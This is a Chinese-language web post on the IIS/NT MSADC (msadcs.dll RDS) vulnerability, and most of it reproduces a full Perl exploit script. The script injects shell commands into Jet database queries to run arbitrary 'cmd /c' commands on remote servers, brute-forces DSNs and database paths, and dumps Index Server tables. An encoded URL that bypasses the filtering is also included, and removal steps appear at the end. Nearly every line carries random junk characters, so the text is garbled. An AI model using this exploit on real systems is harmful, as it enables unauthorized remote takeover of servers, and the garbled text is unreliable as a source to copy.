IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kS \. HN~v&, 涉及程序：
,SE$Rh Microsoft NT server
DS,FVh".| #ejw@bd 描述：
Jv4D^>yj[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
kUaGok? mC[U)` ey 详细：
9Qs"X7 iH 如果你没有时间读详细内容的话，就删除:
HC;I0&v> c:\Program Files\Common Files\System\Msadc\msadcs.dll
VM V]TPks> 有关的安全问题就没有了。
]ZryY
EB M_e$l`"G 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
*|gs-<[#X u6S0t?Udap 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
4htSwK+
关于利用ODBC远程漏洞的描述，请参看:
tM PX vE L/iVs`qF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _{Q ?VQvZ a@_Cx 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
:C:N]6_{SZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp >$S,>d_k` ,O&PLr8cJ? 这里不再论述。
^ yukn*L a+>W 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
N;`[R>Z~ K9qEi{[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s
eZ<52f2 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
*_).UAP. ch,Zk )y:_ D`~{[c v)\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
|C)UZ4A/p M6hvi(!X2 #!perl
wq_oh*"
#
*A1TDc$ # MSADC/RDS 'usage' (aka exploit) script
}jY[| >z #
#!d^3 iB2 # by rain.forest.puppy
R$;&O.
5M #
[ls ?IFg # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xm10 # beta test and find errors!
% 6hw ,8"[ /@ use Socket; use Getopt::Std;
C}P
\kDM getopts("e:vd:h:XR", \%args);
?'/5%f` T;[c<gc/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
, w'$T) ~h^}W$pO if (!defined $args{h} && !defined $args{R}) {
?.Yw%{?TG print qq~
;`PkmAg Usage: msadc.pl -h <host> { -d <delay> -X -v }
,nChwEn -h <host> = host you want to scan (ip or domain)
`)C`_g3Ew -d <seconds> = delay between calls, default 1 second
CpqSn/ -X = dump Index Server path table, if available
v yLAs; -v = verbose
v.2Vg -e = external dictionary file for step 5
F/ od,w9_ ~q T1<k Or a -R will resume a command session
Oc/_ T> }B
'*8^S ~; exit;}
b`W'M :$ cD`O+WA2K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Gx a.<E^k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
BfE- s< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>'TD?@sr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4d._Hd=' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~B*\k^t` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aq,)6P` | m 5;M$M) if (!defined $args{R}){ $ret = &has_msadc;
?!
_pP| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=O'%)Y& ]|L a MMD print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i`nw"8 . "cmd /c ";
ryp$|?ckJ $in=<STDIN>; chomp $in;
Ce' 2lo $command="cmd /c " . $in ;
. nF 2l(j
4~ g if (defined $args{R}) {&load; exit;}
AW&s-b%P 8( /f!~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P ~
pbx &try_btcustmr;
KIBZQ.uG c)!s[o L print "\nStep 2: Trying to make our own DSN...";
%3+hz $E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fQ.>G+0 I> zcWxyLifl0 print "\nStep 3: Trying known DSNs...";
RGA* 7 &known_dsn;
5m7Ax] \ x OyL2 print "\nStep 4: Trying known .mdbs...";
ecZOX$'5 &known_mdb;
Ww
tQ>'R" E,"btBg if (defined $args{e}){
Mi rBJL print "\nStep 5: Trying dictionary of DSN names...";
M@X#[w: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|21hY rHBjR_L.2 print "Sorry Charley...maybe next time?\n";
<IDzv' exit;
S=amj cC |j}F$*SE[ ##############################################################################
J$/ BH\ wBHDof
xX sub sendraw { # ripped and modded from whisker
r4ttEJ-jG sleep($delay); # it's a DoS on the server! At least on mine...
zomNjy* my ($pstr)=@_;
'CO[s.03 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jL %}y1m? die("Socket problems\n");
5_C #_=E if(connect(S,pack "SnA4x8",2,80,$target)){
5t#]lg[06' select(S); $|=1;
GXlg% print $pstr; my @in=<S>;
/P"\ +Qp select(STDOUT); close(S);
:QL p`s return @in;
pvU oed\ } else { die("Can't connect...\n"); }}
:Sn3|`HDm FY S83uq 0 ##############################################################################
Bg0cC _";pk _ sub make_header { # make the HTTP request
xy3%z my $msadc=<<EOT
b{>dOI*.} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7<o;3gR7Kj User-Agent: ACTIVEDATA
fO(S +} Host: $ip
<sl q1 Content-Length: $clen
Tn-]0hWkP Connection: Keep-Alive
]]o[fqD-Zn >D4Ez ADCClientVersion:01.06
6jo&i Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
B]F7t4Y! "I FGW4FnL --!ADM!ROX!YOUR!WORLD!
l{o{=]x1 Content-Type: application/x-varg
Byj~\QMD| Content-Length: $reqlen
@5G7bY7Nz I w7r}G EOT
I 8;[DP9 ; $msadc=~s/\n/\r\n/g;
F/>Pv q] return $msadc;}
rg/vxTl azc:C ##############################################################################
Hbc&.W;g7[ +##I4vP sub make_req { # make the RDS request
NB +O; my ($switch, $p1, $p2)=@_;
2vQ^519 my $req=""; my $t1, $t2, $query, $dsn;
$QBUnLOek& ! *UdY( if ($switch==1){ # this is the btcustmr.mdb query
yP4.Z9 $query="Select * from Customers where City=" . make_shell();
\U>Kn_7m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
E"&9FxS]^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
jUSr t)o03 >! .9 g elsif ($switch==2){ # this is general make table query
|bnjC $b * $query="create table AZZ (B int, C varchar(10))";
XqH<)B
] $dsn="$p1";}
rXPx* /C 4PM`hc elsif ($switch==3){ # this is general exploit table query
q#3X*!) $query="select * from AZZ where C=" . make_shell();
^(vd8 &71 $dsn="$p1";}
? +=|{{l y visoZX elsif ($switch==4){ # attempt to hork file info from index server
j1+Y=@MA $query="select path from scope()";
yLOLv6g~e $dsn="Provider=MSIDXS;";}
+ aqo8'a Kp8T;&<Iay elsif ($switch==5){ # bad query
s2=X>,kz? $query="select";
S9 oGf $dsn="$p1";}
]X|G+[Ujv "]Td^Nxi $t1= make_unicode($query);
H H 3 $t2= make_unicode($dsn);
<j3HT"^[D $req = "\x02\x00\x03\x00";
+qf{ '|H $req.= "\x08\x00" . pack ("S1", length($t1));
hO@3-SRa,k $req.= "\x00\x00" . $t1 ;
yv4PK * $req.= "\x08\x00" . pack ("S1", length($t2));
KZfRiCZ $req.= "\x00\x00" . $t2 ;
0*x? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
7b2<,
.E return $req;}
`_^=OOn
VW`=9T5%@ ##############################################################################
*G41%uz ,`@|C
Z-4A sub make_shell { # this makes the shell() statement
~U+'3.Wo return "'|shell(\"$command\")|'";}
0|;=mYa4M rNyK*Wjt ##############################################################################
MV \zwH zA Ufd[g sub make_unicode { # quick little function to convert to unicode
6|}mTG^ my ($in)=@_; my $out;
b.;}Hq> for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Tj9q(Vq return $out;}
jMbK7
1K% g >zL{[e! ##############################################################################
>K%x44| =T$- #bA) sub rdo_success { # checks for RDO return success (this is kludge)
]#n4A|& H my (@in) = @_; my $base=content_start(@in);
NLY5L7 if($in[$base]=~/multipart\/mixed/){
K_n%`5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&_j4q return 0;}
P$I\)Q H =C)1NJx&~ ##############################################################################
HCK4h DKo} bp,CvQ'}a sub make_dsn { # this makes a DSN for us
nVzo=+Yp my @drives=("c","d","e","f");
PM7/fv *, print "\nMaking DSN: ";
9 To6Rc; foreach $drive (@drives) {
"QS7?=> *F print "$drive: ";
||aU>Wj4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>,3
3Jx "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
xK3;/!\` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Kx0 dOkE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
eVXbYv=gJ@ return 0 if $2 eq "404"; # not found/doesn't exist
idy:Jei } if($2 eq "200") {
y9)",G! foreach $line (@results) {
^ BKr0~4A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sN2l[Ous } return 0;}
vE(Hy&Q& Dzr5 qP?# ##############################################################################
jq{ I x 2wQ
CQ" sub verify_exists {
>q A&;M my ($page)=@_;
]mA?TwD my @results=sendraw("GET $page HTTP/1.0\n\n");
U w" return $results[0];}
Xk '.t| :f;|^(]" ##############################################################################
DAW%?(\, K>y+3HN[6 sub try_btcustmr {
G\%hT5^ my @drives=("c","d","e","f");
4+Y5u4 `t my @dirs=("winnt","winnt35","winnt351","win","windows");
\.]
U HrGX-6` foreach $dir (@dirs) {
=Frr#t!(w0 print "$dir -> "; # fun status so you can see progress
y e'5 A foreach $drive (@drives) {
cDg27xOUi print "$drive: "; # ditto
46~ug5gV $reqlen=length( make_req(1,$drive,$dir) ) - 28;
r$5!KO $reqlenlen=length( "$reqlen" );
51x,[y+Xe $clen= 206 + $reqlenlen + $reqlen;
:cTi$n if>] )g2lr my @results=sendraw(make_header() . make_req(1,$drive,$dir));
WM26-nR if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ek3O{< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
x5ia<V>=d s3J$+1M > ##############################################################################
0P(}e[~Z M_K&x-H0 sub odbc_error {
) f
Rh^6 my (@in)=@_; my $base;
5S LF1u; my $base = content_start(@in);
zlE kP @) if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
d@ hJ=-4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
16vfIUtb $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f$| v $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xh0!H|
R return $in[$base+4].$in[$base+5].$in[$base+6];}
uypD`%pC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
LKa_ofY print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V 6F,X`7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
TL>e[ PBO _qV_(TpS+ ##############################################################################
V QI7lJV" ;G$FLL1 sub verbose {
yr w!b\ my ($in)=@_;
#'qW?8d} return if !$verbose;
1a<~Rmcil print STDOUT "\n$in\n";}
lxZXz JkqZ d Im m}, ##############################################################################
#7 {a~-S w]_a0{Uh sub save {
JS9q'd my ($p1, $p2, $p3, $p4)=@_;
8 CCA/6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
O);V {1P print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
i&Ea@b close OUT;}
*3|K bCX NQmDm!-4 ##############################################################################
zx27aZ [ 3?: }lY<, sub load {
Eq
t61O$x my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dSbV{*B;> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-t]0DsPg @p=<IN>; close(IN);
qcqf9g $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
v!2`hq O $target= inet_aton($ip) || die("inet_aton problems");
8QU`SoS9 print "Resuming to $ip ...";
EOL03N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Jy9&=Qh if($p[1]==1) {
E%TvGe;# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vsK>?5{C- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
- Db( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
g(1'i 1 if (rdo_success(@results)){print "Success!\n";}
U u
,Re else { print "failed\n"; verbose(odbc_error(@results));}}
~ 1p
f ? elsif ($p[1]==3){
3XIxuQw f if(run_query("$p[3]")){
[*fnTy print "Success!\n";} else { print "failed\n"; }}
OX91b<A elsif ($p[1]==4){
nP.d5% E if(run_query($drvst . "$p[3]")){
@ :} z\qBM print "Success!\n"; } else { print "failed\n"; }}
piU4%EO exit;}
,M9'S;&^ I/'>Bn+ ##############################################################################
][3 "xP ctf'/IZ5 sub create_table {
N'4*L=Ut my ($in)=@_;
SLW1]ZaG $reqlen=length( make_req(2,$in,"") ) - 28;
F)C8 LH $reqlenlen=length( "$reqlen" );
!*p lK6a $clen= 206 + $reqlenlen + $reqlen;
:H~r
_>E my @results=sendraw(make_header() . make_req(2,$in,""));
!)GPI?{^5 return 1 if rdo_success(@results);
DGcd|>q my $temp= odbc_error(@results); verbose($temp);
=Oy,SX return 1 if $temp=~/Table 'AZZ' already exists/;
.*ZNZ|g_ return 0;}
B$)KZR(u `+U-oqs ##############################################################################
Ab2VF;z : _ v-sb(*
J sub known_dsn {
jsuQ R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`|gCbs 95 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GFvOrR lP\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
BP` UB "banner", "banners", "ads", "ADCDemo", "ADCTest");
BzD S T6tJwSS4: foreach $dSn (@dsns) {
b cQ$S;U) print ".";
K~uoZ~_gA next if (!is_access("DSN=$dSn"));
*Nv<,Br,F if(create_table("DSN=$dSn")){
Xh ?{%?2 print "$dSn successful\n";
!$j'F? 2 > if(run_query("DSN=$dSn")){
\!_ >ul print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
MD%86m{Sg= print "Something's borked. Use verbose next time\n";}}} print "\n";}
56fcifXz@ >d =k-d ##############################################################################
-50|r;a by- B).7 sub is_access {
U@H SU%H my ($in)=@_;
'E9\V\bi $reqlen=length( make_req(5,$in,"") ) - 28;
Q WOd&=: $reqlenlen=length( "$reqlen" );
^ +-i7`|= $clen= 206 + $reqlenlen + $reqlen;
\5Hfe;ny-~ my @results=sendraw(make_header() . make_req(5,$in,""));
'Ic$p> my $temp= odbc_error(@results);
'C(YUlT2?P verbose($temp); return 1 if ($temp=~/Microsoft Access/);
X4j tti return 0;}
!y6
D+<k*] Rt+s\MC^r ##############################################################################
<=WQs2 LcQ \ d* sub run_query {
lE 4.O my ($in)=@_;
Y #KgaZ7N $reqlen=length( make_req(3,$in,"") ) - 28;
%0L 9)-R $reqlenlen=length( "$reqlen" );
< d?O#( $clen= 206 + $reqlenlen + $reqlen;
f)>=. sp my @results=sendraw(make_header() . make_req(3,$in,""));
}z}oVc return 1 if rdo_success(@results);
v=!]t=P)t my $temp= odbc_error(@results); verbose($temp);
0N md*r return 0;}
K?) &8S @X|Cu bJ ##############################################################################
E;k'bz 9%|!+!j sub known_mdb {
(R{W Jjj my @drives=("c","d","e","f","g");
)nQ.6 my @dirs=("winnt","winnt35","winnt351","win","windows");
cO'
\s my $dir, $drive, $mdb;
90;[5c
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}.x?$C+\" a(F %M # this is sparse, because I don't know of many
='a$>JVJ5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
XSXS;Fh) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Nb-;D)W;B "\\system32\\certmdb.mdb",
1I_(!F{Ho "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
~h -0rE c'[l%4U8[ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
5MT$n4zKu "\\cfusion\\cfapps\\forums\\forums_.mdb",
-r[l{ce "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
l9\
*G; "\\cfusion\\cfapps\\security\\realm_.mdb",
< yBZsSj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MC^H N w "\\cfusion\\database\\cfexamples.mdb",
woQYP, "\\cfusion\\database\\cfsnippets.mdb",
4&}LYSZl "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
G;MmD?VJ g "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0X.pI1jCO "\\cfusion\\brighttiger\\database\\cleam.mdb",
Yz4Q!tL "\\cfusion\\database\\smpolicy.mdb",
tAefBFu "\\cfusion\\database\cypress.mdb",
SZNM$X|T "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ml\A)8O]j/ "\\website\\cgi-win\\dbsample.mdb",
+ Uq$'2CT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:A>cf} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BZe x ); #these are just
h49|x&03 foreach $drive (@drives) {
3 cu`U` foreach $dir (@dirs){
>k5nU^|B1 foreach $mdb (@sysmdbs) {
lo Oh }y+ print ".";
J;HkR9<C if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
eVS 6#R]'m print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[?^,,.Dd if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
V0XQG} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
uL`;KD } else { print "Something's borked. Use verbose next time\n"; }}}}}
b|P[\9 hvkLcpE foreach $drive (@drives) {
@h$cHZ foreach $mdb (@mdbs) {
%N04k8z print ".";
-)PQ &[ if(create_table($drv . $drive . $dir . $mdb)){
Hz `aj print "\n" . $drive . $dir . $mdb . " successful\n";
^fa+3 `> if(run_query($drv . $drive . $dir . $mdb)){
7E 6gXf. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x=(Q$Hl5 } else { print "Something's borked. Use verbose next time\n"; }}}}
' gI q_t|^ }
oSq4g{xvMH "k[-eFz/@M ##############################################################################
. _Bejh *F[@lY\p sub hork_idx {
R5(<:] print "\nAttempting to dump Index Server tables...\n";
!`JaYUL[e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
m r&nB $reqlen=length( make_req(4,"","") ) - 28;
A!\ g!* $reqlenlen=length( "$reqlen" );
gs7h`5[es $clen= 206 + $reqlenlen + $reqlen;
cxn3e,d` my @results=sendraw2(make_header() . make_req(4,"",""));
Q/xT>cU d if (rdo_success(@results)){
gMS-mkZ my $max=@results; my $c; my %d;
3 - Nwg9 U for($c=19; $c<$max; $c++){
Gm~jC < $results[$c]=~s/\x00//g;
ErnjIx: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
;EDc1: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~.;+uH<i $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
YMb\v4 $d{"$1$2"}="";}
>)\x\e foreach $c (keys %d){ print "$c\n"; }
m^I+>Bp/: } else {print "Index server doesn't seem to be installed.\n"; }}
ZCVwQ#Xe+ )RG@D\t , ##############################################################################
0]p!
Bscaf 46OYO a sub dsn_dict {
I?r7dQEm open(IN, "<$args{e}") || die("Can't open external dictionary\n");
r)E9]"TAB while(<IN>){
}86&?
0j. $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
O/
Y z6VQ next if (!is_access("DSN=$dSn"));
^E{M[;sF3y if(create_table("DSN=$dSn")){
bk^W]<:z` print "$dSn successful\n";
LX;w ~fRr. if(run_query("DSN=$dSn")){
QhR.8iS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I6@98w}" print "Something's borked. Use verbose next time\n";}}}
;;;aM:6\ print "\n"; close(IN);}
IYAvO% ~ lV924mh ##############################################################################
|, #DB _kGJqyYV sub sendraw2 { # ripped and modded from whisker
}ya@*jH sleep($delay); # it's a DoS on the server! At least on mine...
5 G
@ my ($pstr)=@_;
s F-{ ( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F<H[-k*t/ die("Socket problems\n");
A@M%}h if(connect(S,pack "SnA4x8",2,80,$target)){
4j+FDc` print "Connected. Getting data";
])Rs.Y{Q5 open(OUT,">raw.out"); my @in;
VAPR I\uM; select(S); $|=1; print $pstr;
`Tw DR6& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
YD>5z V%!D close(OUT); select(STDOUT); close(S); return @in;
EC#4"bU`'2 } else { die("Can't connect...\n"); }}
ML e o3 mXAGa8##j ##############################################################################
i;Y3pF0%P tf<}%4G sub content_start { # this will take in the server headers
/ ,Unp1D my (@in)=@_; my $c;
o^ Z/~N for ($c=1;$c<500;$c++) {
B"KDr_,, if($in[$c] =~/^\x0d\x0a/){
SUGB)vEa if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
kHMD 5Q else { return $c+1; }}}
N!me:|Dn return -1;} # it should never get here actually
wwmHr!b :6 uT1xvXfqP ##############################################################################
/1D]\k() )\K ;Ncp[ sub funky {
Tx) !qpZ my (@in)=@_; my $error=odbc_error(@in);
{p .D E if($error=~/ADO could not find the specified provider/){
3QM; K^$ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'OEh'\d+x exit;}
i*ibx;s- if($error=~/A Handler is required/){
Z:_ wE62' print "\nServer has custom handler filters (they most likely are patched)\n";
!W\Zq+^^J3 exit;}
cl \Gh if($error=~/specified Handler has denied Access/){
pX 4 :WV print "\nServer has custom handler filters (they most likely are patched)\n";
,EsPm'`?A/ exit;}}
b{+7sl M( eu wy ##############################################################################
HgVPyo 4DLp +6zP sub has_msadc {
ui>0?O*G my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Dqxtc|vo my $base=content_start(@results);
[v0[,K return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
6> L) return 0;}
r [NI#wW Ku 'OM6D< ########################
Wb)>AP L /kZ{+4M +F>9hA 解决方案：
^jph"a C 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ioJ~k[T 2、移除web 目录: /msadc
